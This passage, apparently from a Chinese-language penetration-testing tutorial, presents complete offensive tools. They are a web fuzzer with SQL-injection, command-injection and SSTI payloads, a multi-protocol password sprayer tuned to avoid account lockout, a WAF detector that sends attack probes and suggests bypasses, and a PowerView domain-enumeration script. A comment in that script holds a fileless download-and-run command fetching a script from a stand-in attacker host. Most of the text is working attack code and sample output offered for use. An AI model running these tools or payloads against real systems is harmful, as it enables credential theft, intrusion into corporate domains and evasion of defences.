method=args.method, fuzz_mode="param",
extra_headers=extra_headers, post_data=post_data,
)
else:
fuzzer.run_fuzz_session(
payloads=payload_list, url=args.url,
param=args.param, header_name=header_name,
method=args.method, fuzz_mode=args.mode,
extra_headers=extra_headers, post_data=post_data,
)
if __name__ == "__main__":
main()保存与运行：
chmod +x ~/tools/web_fuzzer.py
# SQLi fuzz（使用内置 payload）
python3 ~/tools/web_fuzzer.py -u "http://target.com/product?id=1" --param id --type sqli
# 自动对所有参数 fuzz
python3 ~/tools/web_fuzzer.py -u "http://target.com/search?q=test&sort=asc&page=1" --type all --auto-params
# 路径爆破
python3 ~/tools/web_fuzzer.py -u "http://target.com/FUZZ" -w /usr/share/wordlists/dirb/common.txt --mode path
# Header fuzz（如测试 X-Forwarded-For 注入）
python3 ~/tools/web_fuzzer.py -u "http://target.com/" -H "X-Forwarded-For: FUZZ" --type sqli --mode header
# 路径穿越检测
python3 ~/tools/web_fuzzer.py -u "http://target.com/file?path=index.html" --param path --type path-traversal
# 命令注入检测
python3 ~/tools/web_fuzzer.py -u "http://target.com/ping?host=127.0.0.1" --param host --type command-injection
# SSTI 检测
python3 ~/tools/web_fuzzer.py -u "http://target.com/greet?name=guest" --param name --type ssti预期输出（SQLi fuzz 示例）：
[+] 使用内置 payload 集: sqli (18 个)
Web Fuzzer - PARAM 模式
目标: http://target.com/product?id=1
Payloads: 18 个
线程: 20
[*] 建立基线响应...
[*] 基线响应: HTTP 200, 4821B, 0.23s
[*] [param] '
→ 状态码: 200 → 500
→ 大小: 4821B → 1273B (+73.6%)
[!] [param] 1' OR '1'='1
→ 状态码: 200 → 500
→ 服务端 500 错误（可能触发漏洞!）
[*] [param] 1' UNION SELECT NULL--
→ 大小: 4821B → 12750B (+164.5%)
[*] [param] 1' AND SLEEP(5) --
→ 时间: 0.23s → 5.12s
Fuzz 完成!
耗时: 3.2秒
处理: 18 个 payload
异常: 4 个响应
核心设计理念：
- 基线对比：发一次正常请求记录状态码/响应大小/响应时间，后续每个 payload 的响应与基线对比，差异超过 30% 就标记为异常。这是手工渗透中”看报错”的自动化版本
- 时间盲注检测：响应时间超过基线 5 倍时自动标记。
1' AND SLEEP(5)--这类 payload 的唯一特征就是响应变慢 - 内置 payload 库：5 大类攻击（SQLi, XSS, Path Traversal, Command Injection, SSTI）共 80+ 个精选 payload
--auto-params：自动解析 URL 中的所有查询参数，对每个参数单独跑一轮 fuzz
2.6 脚本 9：密码喷洒工具（password_spray.py）
“暴力破解”是对一个账户试 1000 个密码。“密码喷洒”是对 1000 个账户试 1 个密码——后者不触发账户锁定策略，是域渗透中最有效的初始访问手段之一。本脚本支持 HTTP/SMB/SSH/LDAP 四种协议。
#!/usr/bin/env python3
#===============================================================================
# 文件名: password_spray.py
# 用途: 密码喷洒 — 对一个密码尝试多个用户（反向爆破）
# 用法:
# python3 password_spray.py http -u users.txt -p "Summer2024!" --url http://target.com/login
# python3 password_spray.py smb -u users.txt -p "Password123" -d DOMAIN --dc 10.0.0.1
# python3 password_spray.py ssh -u users.txt -p "admin123" -t 192.168.1.10,192.168.1.11
# python3 password_spray.py ldap -u users.txt -p "Passw0rd" -d domain.local --dc 10.0.0.10
#===============================================================================
import sys
import time
import socket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List, Optional, Tuple
import argparse
class PasswordSprayer:
"""通用密码喷洒器 — 支持 HTTP/SMB/SSH/LDAP"""
def __init__(self, threads: int = 10, delay: float = 1.0,
timeout: float = 10.0):
self.threads = threads
self.delay = delay
self.timeout = timeout
self.valid_creds: List[Tuple[str, str, str]] = []
self.lock = threading.Lock()
# =========================================================================
# HTTP/HTTPS 喷洒
# =========================================================================
def spray_http(self, users: List[str], password: str, url: str,
user_field: str = "username", pass_field: str = "password",
success_string: Optional[str] = None,
fail_string: Optional[str] = None,
success_code: Optional[int] = None,
fail_code: Optional[int] = None,
proxy: Optional[str] = None) -> None:
"""HTTP 表单密码喷洒"""
try:
import requests
requests.packages.urllib3.disable_warnings()
except ImportError:
print("[-] 需要安装 requests 库")
return
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0) Chrome/120.0.0.0"
})
if proxy:
session.proxies = {"http": proxy, "https": proxy}
print(f"\n[*] HTTP 密码喷洒")
print(f" 目标: {url}, 密码: {password}, 用户: {len(users)} 个\n")
def try_login(username: str) -> Optional[Tuple[str, str, str]]:
data = {user_field: username, pass_field: password}
try:
resp = session.post(url, data=data, timeout=self.timeout,
allow_redirects=False, verify=False)
if success_code and resp.status_code == success_code:
return (username, password, f"HTTP {resp.status_code}")
if fail_code and resp.status_code == fail_code:
return None
if success_string and success_string.lower() in resp.text.lower():
return (username, password, "成功字符串匹配")
if fail_string and fail_string.lower() in resp.text.lower():
return None
if resp.status_code in (301, 302, 303):
redirect = resp.headers.get("Location", "")
return (username, password, f"重定向 → {redirect}")
except Exception:
pass
return None
self._run_spray(users, try_login)
# =========================================================================
# SMB/NTLM 喷洒
# =========================================================================
def spray_smb(self, users: List[str], password: str, domain: str,
dc_ip: str) -> None:
"""SMB/NTLM 密码喷洒"""
print(f"\n[*] SMB 密码喷洒")
print(f" 域: {domain}, 域控: {dc_ip}, 密码: {password}\n")
def try_login(username: str) -> Optional[Tuple[str, str, str]]:
try:
from impacket.smbconnection import SMBConnection
conn = SMBConnection(dc_ip, dc_ip, timeout=self.timeout)
conn.login(username, password, domain)
conn.logoff()
return (username, password, "SMB 认证成功")
except Exception as e:
err = str(e).lower()
if "status_account_disabled" in err:
return (username, password, "账户已禁用")
elif "status_account_locked_out" in err:
print(f" {username}: 账户已锁定! 立即停止!")
elif "status_password_expired" in err:
return (username, password, "密码已过期（凭据有效!）")
elif "status_password_must_change" in err:
return (username, password, "需改密码（凭据有效!）")
return None
self._run_spray(users, try_login)
# =========================================================================
# SSH 喷洒
# =========================================================================
def spray_ssh(self, users: List[str], password: str,
targets: List[str]) -> None:
"""SSH 密码喷洒"""
print(f"\n[*] SSH 密码喷洒")
print(f" 目标: {len(targets)} 台, 密码: {password}\n")
def try_login(args: Tuple[str, str]) -> Optional[Tuple[str, str, str]]:
username, target = args
try:
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(target, username=username, password=password,
timeout=self.timeout, allow_agent=False,
look_for_keys=False, banner_timeout=10)
client.close()
return (f"{username}@{target}", password, "SSH 登录成功")
except Exception as e:
err = str(e).lower()
if "authentication failed" in err or "auth fail" in err:
pass
elif "timed out" not in err:
# 不是超时也不是认证失败的异常，打印出来
print(f" [错误] {username}@{target}: {str(e)[:60]}")
return None
tasks = [(u, t) for u in users for t in targets]
self._run_spray(tasks, try_login)
# =========================================================================
# LDAP 喷洒
# =========================================================================
def spray_ldap(self, users: List[str], password: str,
domain: str, dc_ip: str) -> None:
"""LDAP 密码喷洒"""
print(f"\n[*] LDAP 密码喷洒")
print(f" 域: {domain}, 域控: {dc_ip}, 密码: {password}\n")
def try_login(username: str) -> Optional[Tuple[str, str, str]]:
try:
import ldap3
user_dn = f"{username}@{domain}"
server = ldap3.Server(dc_ip, connect_timeout=self.timeout)
conn = ldap3.Connection(server, user=user_dn,
password=password,
authentication=ldap3.NTLM,
auto_bind=True)
conn.unbind()
return (username, password, "LDAP 认证成功")
except Exception as e:
err = str(e).lower()
if "accountlocked" in err or "account locked" in err:
print(f" {username}: 账户已锁定!")
elif "invalidcredentials" not in err:
pass # 静默跳过认证失败
return None
self._run_spray(users, try_login)
# =========================================================================
# 通用喷洒执行引擎
# =========================================================================
def _run_spray(self, items: list, login_func) -> None:
"""通用喷洒执行引擎，带节流控制"""
total = len(items)
start_time = time.time()
completed = 0
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = {executor.submit(login_func, item): item
for item in items}
for future in as_completed(futures):
item = futures[future]
try:
result = future.result()
if result:
username, password, details = result
with self.lock:
self.valid_creds.append((username, password, details))
print(f" {username}:{password} → {details}")
completed += 1
if completed % 50 == 0:
elapsed = time.time() - start_time
rate = completed / elapsed if elapsed > 0 else 0
print(f" ... {completed}/{total} ({rate:.1f}/s) ...")
except Exception as e:
print(f" [错误] {item}: {e}")
# 喷洒节流：每次尝试之间等待（避免触发锁定）
if self.delay > 0:
time.sleep(self.delay / self.threads)
elapsed = time.time() - start_time
print(f"\n{'='*60}")
print(f" 喷洒完成! 耗时: {elapsed:.1f}秒")
print(f" 尝试: {total} 次")
print(f" 有效凭据: {len(self.valid_creds)} 个")
print(f"{'='*60}")
for username, pwd, details in self.valid_creds:
print(f" {username}:{pwd} ({details})")
def load_users(filename: str) -> List[str]:
"""加载用户列表，自动去重和格式清洗"""
try:
with open(filename, "r", encoding="utf-8", errors="ignore") as f:
users = []
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
# 处理 DOMAIN\user 和 user@domain.com 格式
if "\\" in line:
line = line.split("\\")[1]
elif "@" in line:
line = line.split("@")[0]
users.append(line)
return list(dict.fromkeys(users)) # 去重但保持顺序
except FileNotFoundError:
print(f"[-] 找不到文件: {filename}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(
description="密码喷洒工具 — 多协议支持",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
示例:
HTTP 表单喷洒:
%(prog)s http -u users.txt -p "Summer2024!" --url https://mail.company.com/owa
SMB/NTLM 喷洒:
%(prog)s smb -u users.txt -p "Password123" -d company.local --dc 10.0.0.1
SSH 喷洒:
%(prog)s ssh -u users.txt -p "admin123" -t 192.168.1.10,192.168.1.11
通用密码建议:
- 公司名+年份: Company2024!, Acme2024 - 季节+年份: Summer2024!, Winter2023
- 城市+数字: London123, NewYork! - 键盘模式: Qwerty123, Password1
"""
)
subparsers = parser.add_subparsers(dest="protocol", required=True)
# HTTP 子命令
http_p = subparsers.add_parser("http", help="HTTP 表单喷洒")
http_p.add_argument("-u", "--users", required=True)
http_p.add_argument("-p", "--password", required=True)
http_p.add_argument("--url", required=True)
http_p.add_argument("--user-field", default="username")
http_p.add_argument("--pass-field", default="password")
http_p.add_argument("--success-string")
http_p.add_argument("--fail-string")
http_p.add_argument("--success-code", type=int)
http_p.add_argument("-t", "--threads", type=int, default=10)
http_p.add_argument("--delay", type=float, default=2.0)
http_p.add_argument("--proxy")
# SMB 子命令
smb_p = subparsers.add_parser("smb", help="SMB/NTLM 喷洒")
smb_p.add_argument("-u", "--users", required=True)
smb_p.add_argument("-p", "--password", required=True)
smb_p.add_argument("-d", "--domain", required=True)
smb_p.add_argument("--dc", required=True)
smb_p.add_argument("-t", "--threads", type=int, default=5)
smb_p.add_argument("--delay", type=float, default=3.0)
# SSH 子命令
ssh_p = subparsers.add_parser("ssh", help="SSH 喷洒")
ssh_p.add_argument("-u", "--users", required=True)
ssh_p.add_argument("-p", "--password", required=True)
ssh_p.add_argument("-t", "--threads", type=int, default=10)
ssh_p.add_argument("--delay", type=float, default=2.0)
ssh_p.add_argument("--targets", required=True, help="目标 IP (逗号分隔)")
# LDAP 子命令
ldap_p = subparsers.add_parser("ldap", help="LDAP 喷洒")
ldap_p.add_argument("-u", "--users", required=True)
ldap_p.add_argument("-p", "--password", required=True)
ldap_p.add_argument("-d", "--domain", required=True)
ldap_p.add_argument("--dc", required=True)
ldap_p.add_argument("-t", "--threads", type=int, default=5)
ldap_p.add_argument("--delay", type=float, default=3.0)
args = parser.parse_args()
users = load_users(args.users)
delay = getattr(args, "delay", 1.0)
threads = getattr(args, "threads", 10)
sprayer = PasswordSprayer(threads=threads, delay=delay)
if args.protocol == "http":
sprayer.spray_http(
users, args.password, args.url,
user_field=getattr(args, "user_field", "username"),
pass_field=getattr(args, "pass_field", "password"),
success_string=getattr(args, "success_string", None),
fail_string=getattr(args, "fail_string", None),
success_code=getattr(args, "success_code", None),
proxy=getattr(args, "proxy", None),
)
elif args.protocol == "smb":
sprayer.spray_smb(users, args.password, args.domain, args.dc)
elif args.protocol == "ssh":
targets = [t.strip() for t in args.targets.split(",") if t.strip()]
sprayer.spray_ssh(users, args.password, targets)
elif args.protocol == "ldap":
sprayer.spray_ldap(users, args.password, args.domain, args.dc)
if __name__ == "__main__":
main()保存与运行：
chmod +x ~/tools/password_spray.py
# HTTP 喷洒
python3 ~/tools/password_spray.py http -u users.txt -p "Summer2024!" \
--url http://target.com/login.php --fail-string "Invalid" --threads 10
# SMB 喷洒（需要 impacket）
python3 ~/tools/password_spray.py smb -u users.txt -p "Password123" \
-d company.local --dc 10.0.0.1 --delay 3.0
# SSH 喷洒（需要 paramiko）
python3 ~/tools/password_spray.py ssh -u users.txt -p "admin123" \
--targets 192.168.1.10,192.168.1.11,192.168.1.12 --threads 5
# LDAP 喷洒
python3 ~/tools/password_spray.py ldap -u users.txt -p "P@ssw0rd" \
-d company.local --dc 10.0.0.10预期输出：
[*] SMB 密码喷洒
域: company.local, 域控: 10.0.0.1, 密码: Password123
jsmith:Password123 → SMB 认证成功
bbrown:Password123 → 密码已过期（凭据有效!）
aadmin:Password123 → 需改密码（凭据有效!）
... 50/200 (2.3/s) ...
helpdesk: 账户已锁定! 立即停止!
喷洒完成! 耗时: 86.5秒
尝试: 200 次
有效凭据: 3 个
jsmith:Password123 (SMB 认证成功)
bbrown:Password123 (密码已过期（凭据有效!）)
aadmin:Password123 (需改密码（凭据有效!）)
喷洒节流的原理：
密码喷洒与暴力破解的关键区别在于延迟策略。--delay 参数控制每次尝试之间的等待时间。以 delay=3.0 threads=5 为例，实际每个线程每次尝试后等待 3.0/5=0.6 秒。对于 Active Directory 默认的”5 次错误锁定”策略，每秒不超过 2 次尝试通常是安全的。记住：密码喷洒的哲学是”慢即是快”——太快了被锁定就前功尽弃。
2.8 脚本 11：WAF 自动检测工具（waf_detector.py）
面对一个 Web 目标，不知道前面有没有 WAF/IPS 是危险的事情——你可能以为 SQL 注入成功了，其实是 WAF 返回的假页面。这个脚本发送多个特征性 payload，通过分析响应自动识别 WAF 类型并给出绕过建议。
#!/usr/bin/env python3
#===============================================================================
# 文件名: waf_detector.py
# 用途: 自动检测 WAF/IPS 类型并给出绕过建议
# 用法: python3 waf_detector.py http://target.com
# python3 waf_detector.py http://target.com --aggressive
#===============================================================================
import sys
import re
import time
import argparse
from typing import Dict, List, Tuple, Optional
try:
import requests
requests.packages.urllib3.disable_warnings()
except ImportError:
print("[-] 需要安装 requests 库")
sys.exit(1)
class WAFDetector:
"""WAF/IPS 类型检测器"""
def __init__(self, url: str, timeout: float = 10.0,
proxy: Optional[str] = None):
self.url = url.rstrip("/")
self.timeout = timeout
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0) Chrome/120.0.0.0"
})
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
# 已知 WAF 的特征签名
self.waf_signatures = {
"Cloudflare": [
("header", "cf-ray", ""),
("header", "__cfduid", ""),
("header", "cf-chl-bypass", ""),
("content", "Cloudflare Ray ID", ""),
("status", "", 403),
],
"AWS WAF": [
("header", "x-amzn-RequestId", ""),
("header", "x-amz-cf-id", ""),
("content", "Request blocked.", ""),
],
"ModSecurity": [
("header", "Mod_Security", ""),
("content", "This error was generated by Mod_Security", ""),
("content", "mod_security", ""),
],
"F5 BIG-IP ASM": [
("header", "X-WA-Info", ""),
("content", "The requested URL was rejected", ""),
("content", "Reference ID", ""),
],
"FortiWeb": [
("header", "FortiWeb", ""),
("content", "FortiWeb Application Firewall", ""),
],
"Imperva/Incapsula": [
("header", "X-Iinfo", ""),
("header", "incap_ses_", ""),
("header", "visid_incap_", ""),
("content", "Incapsula incident ID", ""),
],
"Barracuda": [
("header", "barra_counter_session", ""),
("header", "Barracuda", ""),
("content", "Barracuda Web Application Firewall", ""),
],
"Sucuri": [
("header", "Sucuri/Cloudproxy", ""),
("header", "x-sucuri-id", ""),
("content", "Sucuri WebSite Firewall", ""),
("content", "Access Denied - Sucuri Website Firewall", ""),
],
"Akamai": [
("header", "X-Akamai-Transformed", ""),
("header", "Akamai-Origin-Hop", ""),
("content", "Reference #", ""),
("content", "AkamaiGHost", ""),
],
"F5 BIG-IP APM": [
("content", "BIG-IP", ""),
("content", "F5 Networks", ""),
],
"Citrix NetScaler": [
("header", "ns_af", ""),
("header", "citrix_ns_id", ""),
("content", "NS-CACHE", ""),
("content", "Citrix Systems, Inc.", ""),
],
}
# WAF 绕过建议
self.bypass_suggestions = {
"Cloudflare": [
"使用 Cloudflare 源 IP 绕过 (查找真实 IP 通过 DNS 历史/SecurityTrails)",
"HTTP/2 走私攻击 (HTTP Request Smuggling)",
"Cloudflare 对特定路径不做代理 (如 /cdn-cgi/ 下的 bypass)",
],
"AWS WAF": [
"HTTP 请求走私 (CL/TE 或 TE/CL)",
"大请求体绕过 (AWS WAF 有检查大小限制)",
"Unicode 规范化差异绕过",
],
"ModSecurity": [
"分块传输编码绕过 (Transfer-Encoding: chunked)",
"多部分表单绕过 (multipart/form-data)",
"HTTP 参数污染 (HPP)",
"SQLi: 使用内联注释 /*!50000SELECT*/",
],
"F5 BIG-IP ASM": [
"路径规范化绕过 (如 /admin/./panel)",
"参数污染 /admin?user=admin&user=guest",
"Unicode 编码绕过",
],
"generic": [
"大小写变换: SeLeCt → select",
"URL 双重编码: %2527 → '",
"Unicode 编码: %u0027 → '",
"HTTP 参数污染: ?id=1&id=1' OR '1'='1",
"分块传输编码: Transfer-Encoding: chunked",
"Content-Type 切换: application/x-www-form-urlencoded → multipart/form-data",
"HTTP 方法切换: POST → GET (参数放 URL)",
"换行符注入: %0a, %0d",
"空字节注入: %00",
"绕过 IP 白名单: X-Forwarded-For: 127.0.0.1",
],
}
def detect_from_normal_response(self) -> List[Tuple[str, str]]:
"""从正常响应中检测 WAF（不发送恶意 payload）"""
detected = []
try:
resp = self.session.get(self.url, timeout=self.timeout)
except requests.RequestException:
return detected
for waf_name, signatures in self.waf_signatures.items():
for sig_type, key, value in signatures:
if sig_type == "header":
headers_lower = {k.lower(): v for k, v in resp.headers.items()}
if key.lower() in headers_lower:
detected.append((waf_name, f"Header: {key}"))
break
elif sig_type == "content":
if key.lower() in resp.text.lower():
detected.append((waf_name, f"内容匹配: {key}"))
break
elif sig_type == "status":
if resp.status_code == value:
detected.append((waf_name, f"状态码: {value}"))
break
return detected
def detect_from_payloads(self, aggressive: bool = False) -> Dict[str, any]:
"""通过发送特征性 payload 检测 WAF"""
results = {
"detected": [],
"blocked_request": False,
"block_status": None,
"block_page_size": 0,
"baseline_size": 0,
"baseline_code": 0,
}
try:
baseline = self.session.get(self.url, timeout=self.timeout)
results["baseline_code"] = baseline.status_code
results["baseline_size"] = len(baseline.content)
except requests.RequestException:
return results
# 测试 payload：设计为触发 WAF 但不真正攻击
test_payloads = [
# 基本 SQL 注入探测
("sqli_basic", "?id=1' OR '1'='1"),
("sqli_union", "?id=1 UNION SELECT 1,2,3--"),
# XSS 探测
("xss_basic", "?q=<script>alert(1)</script>"),
("xss_img", "?q=<img src=x onerror=alert(1)>"),
# 路径穿越
("pathtrav", "/../../../etc/passwd"),
# 命令注入
("cmd_inj", "?cmd=;cat /etc/passwd"),
# 通用的 WAF 触发字符串（很多 WAF 对这几个字符串敏感）
("waf_test1", "?id=../../etc/passwd"),
("waf_test2", "?q=UNION+SELECT"),
("waf_test3", "?file=/etc/passwd"),
]
if aggressive:
test_payloads.extend([
("aggr_or", "?id=1 OR 1=1"),
("aggr_sleep", "?id=1 AND SLEEP(5)"),
("aggr_proc", "?id=/proc/self/environ"),
])
anomalous = 0
for ptype, payload_suffix in test_payloads:
test_url = self.url + payload_suffix
try:
resp = self.session.get(test_url, timeout=self.timeout,
allow_redirects=False)
code = resp.status_code
size = len(resp.content)
# 异常检测
if code != results["baseline_code"] and code in (403, 406, 429, 501, 503):
anomalous += 1
results["block_status"] = code
results["blocked_request"] = True
if size > 0 and results["block_page_size"] == 0:
results["block_page_size"] = size
# 分析阻止页面的内容
page_text = resp.text[:500].lower()
for waf_name, signatures in self.waf_signatures.items():
for sig_type, key, value in signatures:
if sig_type == "content" and key.lower() in page_text:
results["detected"].append(
(waf_name, f"Block页面匹配: {key}")
)
# 响应大小显著变化
if results["baseline_size"] > 0:
diff = abs(size - results["baseline_size"]) / results["baseline_size"]
if diff > 0.5: # 50% 以上的大小差异
anomalous += 1
# 检查 WAF 特有的响应头
for waf_name, signatures in self.waf_signatures.items():
for sig_type, key, value in signatures:
if sig_type == "header":
headers_lower = {k.lower(): v for k, v in resp.headers.items()}
if key.lower() in headers_lower:
if (waf_name, f"Header: {key}") not in results["detected"]:
results["detected"].append((waf_name, f"Header: {key}"))
time.sleep(0.5) # 避免触发送率限制
except requests.RequestException:
pass
return results
def analyze(self, aggressive: bool = False) -> None:
"""执行完整检测流程"""
print(f"\n{'='*60}")
print(f" WAF 检测器")
print(f" 目标: {self.url}")
print(f" 模式: {'激进' if aggressive else '标准'}")
print(f"{'='*60}\n")
# 第 1 步：从正常响应检测
print("[*] 第 1 步: 分析正常响应头...")
detected_normal = self.detect_from_normal_response()
if detected_normal:
for waf_name, evidence in detected_normal:
print(f" 检测到 WAF: {waf_name} ({evidence})")
else:
print(" - 正常响应中未发现已知 WAF 特征")
# 第 2 步：通过 payload 检测
print(f"\n[*] 第 2 步: 发送测试 payload ({'含激进' if aggressive else '标准'}测试)...")
results = self.detect_from_payloads(aggressive)
if results["blocked_request"]:
print(f" 请求被阻止! 阻止状态码: HTTP {results['block_status']}")
print(f" 阻止页面大小: {results['block_page_size']} bytes "
f"(基线: {results['baseline_size']} bytes)")
# 合并检测结果
all_detected = {}
for waf_name, evidence in detected_normal + results["detected"]:
if waf_name not in all_detected:
all_detected[waf_name] = []
if evidence not in all_detected[waf_name]:
all_detected[waf_name].append(evidence)
# 输出结论
print(f"\n{'='*60}")
print(f" 检测结论")
print(f"{'='*60}")
if all_detected:
print(f"\n检测到以下 WAF/安全设备:")
for waf_name, evidences in all_detected.items():
print(f"\n {waf_name}")
for ev in evidences:
print(f" · {ev}")
# 给出绕过建议
if waf_name in self.bypass_suggestions:
print(f" 绕过建议:")
for tip in self.bypass_suggestions[waf_name]:
print(f" → {tip}")
elif results["blocked_request"]:
print(f"\n未识别出具体 WAF 类型，但请求被阻止了 (可能是自定义 WAF)")
print(f"\n通用绕过建议:")
else:
print(f"\n未检测到 WAF（目标可能无 WAF，或 WAF 在代理模式下透明运行）")
return
# 输出通用绕过建议
print(f"\n通用绕过技巧:")
for tip in self.bypass_suggestions["generic"]:
print(f" → {tip}")
def main():
parser = argparse.ArgumentParser(
description="WAF/IPS 自动检测器",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
示例:
%(prog)s http://target.com
%(prog)s https://target.com --aggressive
%(prog)s http://target.com --proxy http://127.0.0.1:8080
"""
)
parser.add_argument("url", help="目标 URL")
parser.add_argument("--aggressive", action="store_true",
help="激进模式（发送更多测试 payload）")
parser.add_argument("--proxy", help="代理地址")
parser.add_argument("--timeout", type=float, default=10.0,
help="请求超时(秒)")
args = parser.parse_args()
detector = WAFDetector(args.url, timeout=args.timeout, proxy=args.proxy)
detector.analyze(aggressive=args.aggressive)
if __name__ == "__main__":
main()保存与运行：
chmod +x ~/tools/waf_detector.py
# 标准检测
python3 ~/tools/waf_detector.py http://target.com
# 激进模式（更多 payload）
python3 ~/tools/waf_detector.py https://target.com --aggressive
# 过代理
python3 ~/tools/waf_detector.py http://target.com --proxy http://127.0.0.1:8080预期输出：
WAF 检测器
目标: http://target.com
模式: 标准
[*] 第 1 步: 分析正常响应头...
检测到 WAF: Cloudflare (Header: cf-ray)
[*] 第 2 步: 发送测试 payload (标准测试)...
请求被阻止! 阻止状态码: HTTP 403
阻止页面大小: 1243 bytes (基线: 4821 bytes)
检测结论
检测到以下 WAF/安全设备:
Cloudflare
· Header: cf-ray
· Block页面匹配: Cloudflare Ray ID
绕过建议:
→ 使用 Cloudflare 源 IP 绕过 (查找真实 IP)
→ HTTP/2 走私攻击
→ Cloudflare 对特定路径不做代理
通用绕过技巧:
→ 大小写变换: SeLeCt → select
→ URL 双重编码: %2527 → '
→ HTTP 参数污染: ?id=1&id=1' OR '1'='1
...
Part 3: PowerShell 脚本 — Windows 域渗透兵器
PowerShell 是 Windows 渗透测试的核心语言。以下脚本设计为在目标 Windows 机器上运行，一行命令就能获得关键信息。
3.1 脚本 13：PowerView 域信息收集（powerview_enum.ps1）
PowerView 是 PowerSploit 框架的一部分，是域渗透中最重要的工具之一。以下是一组最常用的 PowerView 命令集合——将它保存为一个脚本，进入域环境后一键运行。
<#
.SYNOPSIS
PowerView 域信息快速收集脚本
.DESCRIPTION
运行 PowerView 的核心枚举功能，输出域用户、组、计算机、GPO、ACL、信任关系等
.NOTES
需要先导入 PowerView.ps1:
Import-Module .\powerview.ps1
或使用无文件方式:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/powerview.ps1')
#>
# 关闭 PowerShell 的进度条（加速远程操作）
$ProgressPreference = "SilentlyContinue"
Write-Host "========================================" -ForegroundColor Cyan
Write-Host " PowerView 域信息快速收集" -ForegroundColor Cyan
Write-Host "========================================" -ForegroundColor Cyan
Write-Host ""
# --- 1. 基本域信息 ---
Write-Host "[*] 获取域基本信息..." -ForegroundColor Yellow
Get-NetDomain | Format-List Name, DomainSID, DomainMode, Forest
Write-Host "[*] 获取域控制器列表..." -ForegroundColor Yellow
Get-NetDomainController | Format-Table Name, IPAddress, SiteName, IsGlobalCatalog
Write-Host "[*] 获取域信任关系..." -ForegroundColor Yellow
Get-NetDomainTrust | Format-Table SourceName, TargetName, TrustType, TrustDirection
Write-Host "[*] 获取域功能级别..." -ForegroundColor Yellow
Get-DomainObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,$((Get-NetDomain).DistinguishedName)" |
Select-Object -ExpandProperty msds-behavior-version
# --- 2. 用户信息 ---
Write-Host "`n[*] 获取所有域用户..." -ForegroundColor Yellow
$users = Get-NetUser -Filter *
Write-Host " 总用户数: $($users.Count)"
Write-Host "[*] 查找高价值用户..." -ForegroundColor Yellow
# 域管理员
Get-NetGroupMember -GroupName "Domain Admins" -Recurse |
Select-Object MemberName | Format-Table -AutoSize
# 企业管理员
Get-NetGroupMember -GroupName "Enterprise Admins" -Recurse |
Select-Object MemberName | Format-Table -AutoSize
# 管理员组
Get-NetGroupMember -GroupName "Administrators" |
Select-Object MemberName | Format-Table -AutoSize
Write-Host "[*] 查找服务账户 (ServicePrincipalName)..." -ForegroundColor Yellow
Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname, description |
Format-Table -AutoSize
Write-Host "[*] 查找 AS-REP Roastable 用户 (不需要 Kerberos 预认证)..." -ForegroundColor Yellow
Get-NetUser -PreauthNotRequired | Select-Object samaccountname | Format-Table -AutoSize
Write-Host "[*] 查找 Kerberoastable 用户..." -ForegroundColor Yellow
Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname |
Format-Table -AutoSize
# --- 3. 计算机信息 ---
Write-Host "[*] 获取域内所有计算机..." -ForegroundColor Yellow
$computers = Get-NetComputer -FullData
Write-Host " 总计算机数: $($computers.Count)"
Write-Host "[*] 查找未打补丁的 Windows 主机..." -ForegroundColor Yellow
Get-NetComputer | Where-Object { $_.operatingsystem -match "Windows 7|Windows 2008|Windows 2012" } |
Select-Object name, operatingsystem | Format-Table -AutoSize
Write-Host "[*] 查找已禁用约束委派的计算机..." -ForegroundColor Yellow
Get-NetComputer -Unconstrained | Select-Object name | Format-Table -AutoSize
# --- 4. 组信息 ---
Write-Host "[*] 获取所有域组..." -ForegroundColor Yellow
$groups = Get-NetGroup -FullData
Write-Host " 总组数: $($groups.Count)"
Write-Host "[*] 查找具有本地管理员权限的组..." -ForegroundColor Yellow
# 在所有计算机上查找本地管理员组的成员
Get-NetLocalGroup -ComputerName (Get-NetComputer | Select-Object -First 10 -ExpandProperty name) |
Select-Object ComputerName, GroupName, MemberName | Format-Table -AutoSize
# --- 5. GPO 信息 ---
Write-Host "[*] 获取组策略对象 (GPO)..." -ForegroundColor Yellow
Get-NetGPO | Select-Object displayname, gpcpath, gpcfilesyspath | Format-Table -AutoSize
Write-Host "[*] 查找通过 GPO 设置的本地管理员..." -ForegroundColor Yellow
Find-GPOComputerAdmin -Computers (Get-NetComputer | Select-Object -First 10 -ExpandProperty name)
# --- 6. ACL/权限信息 ---
Write-Host "[*] 查找有趣的 ACL..." -ForegroundColor Yellow
# 查找当前用户对其他对象的有趣权限
Find-InterestingDomainAcl |
Select-Object ObjectDN, ActiveDirectoryRights |
Format-Table -AutoSize
# --- 7. 共享信息 ---
Write-Host "[*] 查找域内共享..." -ForegroundColor Yellow
Find-DomainShare -CheckShareAccess |
Select-Object ComputerName, Name, Remark |
Format-Table -AutoSize
# --- 8. 用户会话信息 ---
Write-Host "[*] 找出域管理员当前登录在哪台机器上..." -ForegroundColor Yellow
# 注意：这需要域内每台机器的本地管理员权限
Get-NetSession -ComputerName (Get-NetComputer | Select-Object -First 15 -ExpandProperty name) |
Select-Object CName, UserName | Format-Table -AutoSize
Write-Host "`n[+] 收集完毕!" -ForegroundColor Green
Write-Host "[*] 建议下一步:" -ForegroundColor Yellow
Write-Host " 1. 对 Kerberoastable 用户执行: .\Rubeus.exe kerberoast" -ForegroundColor White
Write-Host " 2. 对 AS-REP Roastable 用户执行: .\Rubeus.exe asreproast" -ForegroundColor White
Write-Host " 3. 检查无约束委派的主机上是否有域管理员会话" -ForegroundColor White
Write-Host " 4. 使用 BloodHound/SharpHound 收集更详细的 ACL 分析" -ForegroundColor White使用方法：
# 方法 1: 本地文件（如果已将 PowerView.ps1 上传到目标）
Import-Module .\PowerView.ps1
.\powerview_enum.ps1 | Tee-Object -FilePath enum_results.txt
